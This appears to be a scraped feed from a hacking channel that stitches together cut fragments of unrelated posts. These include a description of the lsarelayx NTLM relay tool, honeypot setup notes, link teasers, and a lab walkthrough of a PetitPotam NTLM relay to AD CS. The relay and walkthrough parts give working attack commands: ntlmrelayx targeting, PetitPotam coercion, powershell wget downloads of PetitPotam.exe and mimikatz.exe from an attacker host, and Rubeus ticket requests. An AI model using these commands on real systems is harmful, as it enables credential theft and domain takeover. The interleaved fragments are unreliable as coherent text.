Kali Linux Tutorials
Lsarelayx : NTLM Relaying For Windows Made Easy

Lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB. Since lsarelayx hooks into existing application authentication flows, the tool will also attempt to service the original authentication request after the relay is complete. This will prevent the target application/protocol from displaying errors and function as normal for end users authenticating against the lsarelayx host. Features

* Relays NTLM connections system wide, including SMB, HTTP/HTTPS, LDAP/LDAPS or any other third party application implementing the Windows authentication APIs.
* Where possible, downgrades incoming Kerberos authentication requests to NTLM. This will cause clients that would traditionally attempt Kerberos authentication to fallback to NTLM.
* Performs an LDAP query for the relayed user to fetch group membership info an create the correct authentication token for the original request.
* Dumps NetNTLM messages for offline cracking.
* Supports a passive mode that does not relay and only dumps captured NetNTLM hashes (no Kerberos downgrade in this mode). How it works

lsarelayx comes in three parts. A fake LSA authentication provider implemented within liblsarelay.dll, a user mode console application as the control interface and a new ntlmrelayx server module called RAW. liblsarelayx.dll

liblsarelayx.dll is the LSA authentication provider that gets loaded by lsarelayx. It’s predominant purpose is to hook the NTLM and Negotiate packages to facilitating redirecting authentication requests to lsarelayx over a local named pipe for relaying and dumping NetNTLM hashes. liblsarelayx is designed to be as simple as possible where all the heavy lifting is performed by lsarelayx lsarelayx.exe

lsarelayx.exe is the main console application used to load the custom LSA authentication provider (liblsarelayx.dll), listen for incoming NTLM and Negotiate tokens from the authentication provider and relay to ntlmrelayx’s RAW server module. The tool also performs the LDAP queries used for capturing group information for relayed users and passing back to the LSA authentication provider. RAW ntlmrelayx module

impacket’s ntlmrelayx has implemented a significant amount of work creating relay attacks and will continue to improve and add further attack in the future. To take advantage of this in favour of reimplementing attacks directly within lsarelayx, a new ntlmrelayx server module was created called RAW. Currently there is a PR open on GitHub that implements the RAW server module. The RAW server module is protocol agnostic and is designed to accept the raw NTLM messages directly from 3rd party software like lsarelayx.

Until the PR is merged into the mainline impacket repo, you can use this version Usage Active Mode

First start the ntmlrelayx RAW server module to listen for RAW NTLM messages passed from lsarelayx.

python examples\ntlmrelayx.py -smb2support –no-wcf-server –no-smb-server –no-http-server “-t” smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 – Copyright 2021 SecureAuth Corporation
[] Protocol Client DCSYNC loaded.. [] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded.. [] Protocol Client IMAP loaded..
[] Protocol Client IMAPS loaded.. [] Protocol Client LDAP loaded..
[] Protocol Client LDAPS loaded.. [] Protocol Client MSSQL loaded..
[] Protocol Client RPC loaded.. [] Protocol Client SMB loaded..
[] Protocol Client SMTP loaded.. [] Running in relay mode to single host
[] Setting up RAW Server on port 6666 [] Servers started, waiting for connections

lsarelayx itself requires local administrator permissions to run. To run in active relay mode, the host address where ntlmrelayx is running the raw server module [...]

___________________________
@hacking_Attack
@Hacking_Video

ensures a payload will only trigger if there are certain identifiers present in the environment. cosmo.jpegpresent on the Desktop of FLARE-VM acts as the key for most of the malware samples in this course. Instructions

When you are done downloading and extracting this lab repository, take cosmo.jpegand copy it to the desktop of the main user account on the Windows FLARE-VM host. That’s all! Download

___________________________
@hacking_Attack
@Hacking_Video

ign when they originate from sources like Shodan. The list of scanning services filtered by RIoTPot is below:

* Shodan (https://www.shodan.io/)
* Censys (https://censys.io/)
* Project Sonar (https://www.rapid7.com/research/project-sonar/)
* LeakIX (https://leakix.net/)
* ShadowServer (https://www.shadowserver.org/)
* RWTH Aachen (http://researchscan.comsys.rwth-aachen.de/)
* Quadmetrics (https://www.quadmetrics.com/)
* BinaryEdge (https://www.binaryedge.io/})
* ipip.net (https://en.ipip.net/)
* Arbor Observatory (https://www.arbor-observatory.com/)
* CriminalIP (https://security.criminalip.com/)
* BitSight (https://www.bitsight.com/)
* InterneTT (http://www.internettl.org/)
* ONYPHE (https://www.onyphe.io/)
* Natlas (https://github.com/natlas/natlas)
* Net Systems Research (https://www.netsystemsresearch.com/)
* Sharashka (https://sharashka.io/data-feeds)
* Alpha Strike Labs (https://www.alphastrike.io)
* Stretchoid (http://stretchoid.com/)

Note: the list will be updated on support for additional scanning sources.

Summary: To summarize, the design of RIoTPot facilitates modularity through packages and containers as plugins. Furthermore, the modular architecture helps in achieving a hybrid-interaction model.

Installation

Although one can download the binaries and configuration files containing the set of default running emulators, this guide is mainly focused to those looking for a customized experience.

We thrive on the idea of making RIoTPot highly transportable, therefore, in this section one can find multiple methods of installation for diverse environments that fit a broad list of requirements and constrains.

We highly recommend running RiotPot in a virtualized self-contained network using Docker, for which we included configuration files that run the honeypot as a closed environment for testing and playing around (similar to a testbed environment).

NOTE: The production image can be pulled from Docker Hub. If you choose this method you may directly jump to 2.1 Docker.

RIoTPot is written in Golang, therefore, you will need to have go installed first if you plan to make any changes, otherwise you can skip steps 1 and 2 if you rather not installing go.

Regardless, you will need to copy RIoTPot to local:

* Make the folder in where the repository will be stored.
mkdir -p $GOPATH/src/github.com
* Navigate to the folder in where you store your repositories
mkdir -p $GOPATH/src/github.com
* Clone the repository
git clone git@github.com:aau-network-security/riotpot.git
* Navigate to the newly created folder with the repository
cd riotpot

Docker

We assume you have basic knowledge about the Docker ecosystem, otherwise please refer first to the Docker documentation here.

At the deployments folder of RToTPot there is one docker-compose files:

$ cd ~/riotpot/deployments | ls -al
…
-rw-r–r– docker-compose.yml
…

This file correspond to the respective software development environment development.

Development. docker-compose.ymlbuilds the project in a private virtual network in which there are three hosts: riotpot, postgres,and tcpdump. Postgres contains a postgres database, tcpdump contains a packet capturer, and riotpot the app itself. They can only communicate with the each other. Use this setup for development and testing locally by typing in your a terminal:

$ docker-compose -f docker-compose.yml up -d –build

Once you are done with the honeypot, you can put down the containers using the down command.

$ docker-compose down -v

NOTE: Using the -v tag will remove all the mounted volumes, i.e. the database used by riotpot to store information and the volumes mounted to store logs and binaries collected by the honeypot. Remember to make copies before using the -v tag, or skip it altogether.

Docker Hub Image

Build the latest release of RiotPot directly from the image provided in the Docker Hub:

Grab and run t[...]

___________________________
@hacking_Attack
@Hacking_Video

needs to be specified. The default port is 6666. This can be overridden with the --portargument, but be sure to have also overridden the port on the ntlmrelayx side too using the --raw-portargument.

lsarelayx.exe –host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Passive Mode

You can also run lsarelayx in passive mode by running without any arguments

lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Caveats

Once the liblsarelayx DLL has been loaded into lsass, currently you cannot unload it due to limitations of how LSA plugins work. The client can be closed which will put the DLL into a dormant state until the client starts again but the DLL will be in use until a reboot occurs.

Since the LSA plugin is not actually a genuine plugin, there are plans to implement a reflective loader inside the plugin which can then be stopped and started at will but that’s an exercise for another day.

Development was performed on Windows 10 and Server 2016. A quick test was performed on Windows Server 2012 R2 which worked, but the calculation of offsets for hooking can fail on 2012 (this can be provided manually using the lookuppackage-hint=, get it wrong and Windows will reboot). No testing has been performed on anything below Windows 10 on the desktop side and nothing tested on Server 2019 at all.

Building Docker

If you have docker installed, this is the quickest option. It utilizes the ccob/windows_crossimage with all the build dependencies pre-installed. Docker on Windows (Powershell)

docker run –rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c “cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; –build . –target install/strip”

Docker on Linux

docker run –rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c “cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake –build . –target install/strip”

Linux

On Linux we utilise a CMake toolchain along with the MinGW compiler. These need to be installed before hand. For the managed component, please make sure the dotnet command line tool is also installed from .NET core

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake –build . –target install/strip

Windows (Powershell)

Windows will require a full CMake, MinGW and Visual Studio setup before even attempting to build, it’s the most painful way to build if you don’t have a development environment installed

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G “MinGW Makefiles” ..
cmake –build . –target install/strip Download

___________________________
@hacking_Attack
@Hacking_Video

he latest release of the riotpot consumer image
detached from the console with -d.
docker run -d riotpot-docker:latest

Local

To build your own binary from source, navigate to the folder where you have stored the repository and use the go CLI to generate it and store it in the ./bin/ folder:

build the binary in the ./bin folder
go build -o riotpot cmd/riotpot/main.go

Additionally, you could also install the application in the system:

# installs riotpot at $GOPATH/bin
$ go install

Run the binary as any other application:

$ ./riotpot

Documentation

The documentation for RiotPot can be found in go.pkg.dev, however, sometimes you might be in need to visualize the documentation locally, either because you are developing a part of it, of for any other reason.

The most common way of pre-visualizing documentation is by using godoc, however, this requires an initial setup of the go project. Find more information in the godoc page.

For simplicity, the riotpot godocdocumentation can be run as a separated local container from the dockerfile Dockerfile.documentation. To use the container simply type:

$ make riotpot-doc

This will run a container tagged with riotpot/v1at http://localhost:6060/. The documentation of the package can be accessed directly from http://localhost:6060/pkg/riotpot/.

Easy Access

We previously described how to set up the whole project, both installation and documentation, but some of the processes become routinely and lengthy when on the process of developing new features and testing. For this, in the root folder of the repository we have included a Makefilecontaining the most utilized routines with aliases.

The following commands will be run using makeplus the alias of the command. The Makefilecontains more commands, but this are the most widely useful:
CommandContainer NameDescriptionriotpot-upriotpot:developmentPuts up RIoTPot in development mode.riotpot-downriotpot:developmentPuts down RIoTPot.riotpot-docriotpot/v1Puts up a container with the local documentation.riotpot-allriotpot/v1, riotpotPuts the documentation and RIoTPot development mode up.riotpot-builderBuilds the binary and the plugins.
Example usage

run a command given its alias from Makefile
$ make riotpot-doc Download

___________________________
@hacking_Attack
@Hacking_Video

Online Pentesting Courses????
https://www.reddit.com/r/Pentesting/comments/t15uv4/online_pentesting_courses/

Can anyone recommend online Pnetesting courses like Udemy based? Which courses/instructors are worth the ride? Thanx in advance.. submitted by /u/Hamza_AM (https://www.reddit.com/user/Hamza_AM)
[link] (https://www.reddit.com/r/Pentesting/comments/t15uv4/online_pentesting_courses/) [comments] (https://www.reddit.com/r/Pentesting/comments/t15uv4/online_pentesting_courses/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 (MUST READ) Cybersecurity books for 2022!

https://cdn-images-1.medium.com/max/600/1*d7AG0TWuXGPbM7rXRDc5-g.png
What are some cybersecurity books that you should read for 2022? To answer this question, I will be discussing with you 5 (MUST READ)…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Install OPNSense and Linux on Cisco ASA

https://cdn-images-1.medium.com/max/2016/1*r11qAQ-g_U8iNNQsM7WwXw.jpeg
Open-Source your Cisco black-box

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe — Basic Pentesting challenge walkthrough

https://cdn-images-1.medium.com/max/2600/1*PY9nByRuVnhXsCvYeiZ9LQ.jpeg
Hi, today I’m going to be going through a nice little challenge room set up by TryHackMe, called Basic Pentesting. The challenge can be…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Mosint

https://cdn-images-1.medium.com/max/911/1*zpDk_uLVvpzvc8n4mxtK8A.png
What is mosint ?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
B̶a̶k̶e̶ Hack your cake!

https://cdn-images-1.medium.com/max/2400/1*cCQhHzqc3xLkpBMquVlj-Q.jpeg
“If you can’t bake a cake then hack the entire cake shop” — Vivek Coelho

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

B̶a̶k̶e̶ Hack your cake!
https://infosecwriteups.com/b%CC%B6a%CC%B6k%CC%B6e%CC%B6-hack-your-cake-923a40054b9d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

“If you can’t bake a cake then hack the entire cake shop” — Vivek CoelhoContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/b%CC%B6a%CC%B6k%CC%B6e%CC%B6-hack-your-cake-923a40054b9d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

PORTSWIGGER WEB SECURITY - CSRF (CROSS SITE REQUEST FORGERY) LAB ÇÖZÜMLERİ
https://ariarif.medium.com/portswigger-web-security-csrf-cross-site-request-forgery-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-e3684ad48ef8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

CSRF (Siteler Arası İstek Sahteciliği), kimliği doğrulanmış kullanıcının web sayfasında istenmeyen faaliyetler gerçekleştirmesine olanak…Continue reading on Medium » (https://ariarif.medium.com/portswigger-web-security-csrf-cross-site-request-forgery-lab-%C3%A7%C3%B6z%C3%BCmleri%CC%87-e3684ad48ef8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints

IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked about an inherent vulnerability in the web interface of CA server with web enrolment service on. An attacker can therefore, relay the requests from the web interface to request Domain Controller machine account’s (DC$) certificate and gain escalation+persistence. PetitPotam is one such PoC tool developed by Lionel Gilles (found here) which can coerce or persuade a windows host to authenticate against DC which can be used to request certificate and gain escalation. Table of content· Vulnerability· Architecture· Lab Setup· Attack Demonstration· Initial Compromise· Certificate Generation - PetitPotam Python script· Certificate Generation - PetitPotam.exe· Certificate Generation - Mimikatz· Privilege Escalationo TGT generationo DCSync attacko PassTheHash attack· Mitigation· ConclusionAD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These enrolment interfaces are vulnerable to NTLM relay attacks. The web endpoints do not have NTLM relay protections enabled by default and hence, are vulnerable by default. Flow of the vulnerability is as follows:How do we force authentication?=> If an attacker is patient, he can wait for organic authentication. But we don’t have that much time so we need to force authentication. One such method is the famous “Printer Bug.” But it depends on the print spooler service to be running and vulnerable. Therefore, Lionel Gilles created “PetitPotam” which initially leveraged the vulnerable EfsRpcOpenFileRaw function in MS-EFSR protocol that had an insufficient path check vulnerability. By using this, attacker can make forced/coerced authentications over SMB thus increasing NTLM relay’s capabilities. Since then, many newer functions have been added in the PetitPotam tool.Architecture- DC1$:192.168.1.2Domain Controller- workstation01$:192.168.1.3Attacker Kali- Not in domain:192.168.1.4Attacker Windows- Not in domain:random IP(non-domain joined but DNS pointing to CA IP)Lab SetupOn the Windows Server where ADCS is already configured, go to the server manager and choose add roles and features and add the following three roles:___________________________
@hacking_Attack
@Hacking_Video

E6KfXxFgF-7FT22545BPzLJNFGYkdGbgd-MIvonugp_MYuY7239gDudHeG58krqwQ=s16000 http://dc1.ignite.local/certsrv/ Attack DemonstrationThe demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation.Initial CompromiseSince this is a domain escalation attack, we first need access to the victim system. Here, I have compromised a computer which has workstation01$ account on it. It is clear that this system has a DC machine account on it which means the system belongs to a DC but we do not have access to DC.net group “domain controllers” /domain Our aim: generate DC certificate and authenticate CA server against it and escalate privileges to DC.Compromised Credentials: Harshit:Password@1ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerhttps://blogger.googleusercontent.com/img/a/AVvXsEjGrlg86Pgw_BUicyoS28frc43HC2y1eG-EOL64a3MH2OUbs3zhXHydmji0ujRzgydUmC-GKGNF17NdueKmuUA0f5xie5e2koJYvW7htmd1Xzo9hjQHRPdvH9r35YauotKQAW_bkvRypEmnD54_aj4-xs0ycnUq0LqdFw4F44eg5R7SuYQZJgLMe5NG2g=s16000 Certificate Generation - PetitPotam Python scriptPetitPotam can be downloaded from the official github repo here. To run the script is quite easy, you just need to specify the domain, credentials of the compromised user and IP of NTLM relayer (kali) followed by IP of the DCgit clone https://github.com/topotam/PetitPotamcd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3 ___________________________
@hacking_Attack
@Hacking_Video

eeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.Certificate Generation - PetitPotam.exeThe official GitHub repo also comes with the PetitPotam.exe file. You can upload this file to the victim server and execute and get the same results. If you see a slight pause and then Attack success!!! Status, you have generated the DC account’s certificate. In the PetitPotam.exe command, “1” refers to triggering of the exploit using default EfsRpcOpenFileRaw function vulnerability. There are other vulnerable functions added by the author too.powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe 192.168.1.3 1Certificate Generation - MimikatzAs people of culture, we like to add new exploits in our favourite mimikatz. EfsRpcOpenFileRaw function vulnerability can be triggered using mimikatz too. We just need to upload this to our victim’s server and execute the following command.powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe Privilege EscalationWe need to take a new Windows 10 system that is not in the domain to demonstrate this practical. We set up a local admin account on this system and change our DNS to point to the DC like so:.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....Kirbi is a base64 encoded TGT format used by Rubeus.___________________________
@hacking_Attack
@Hacking_Video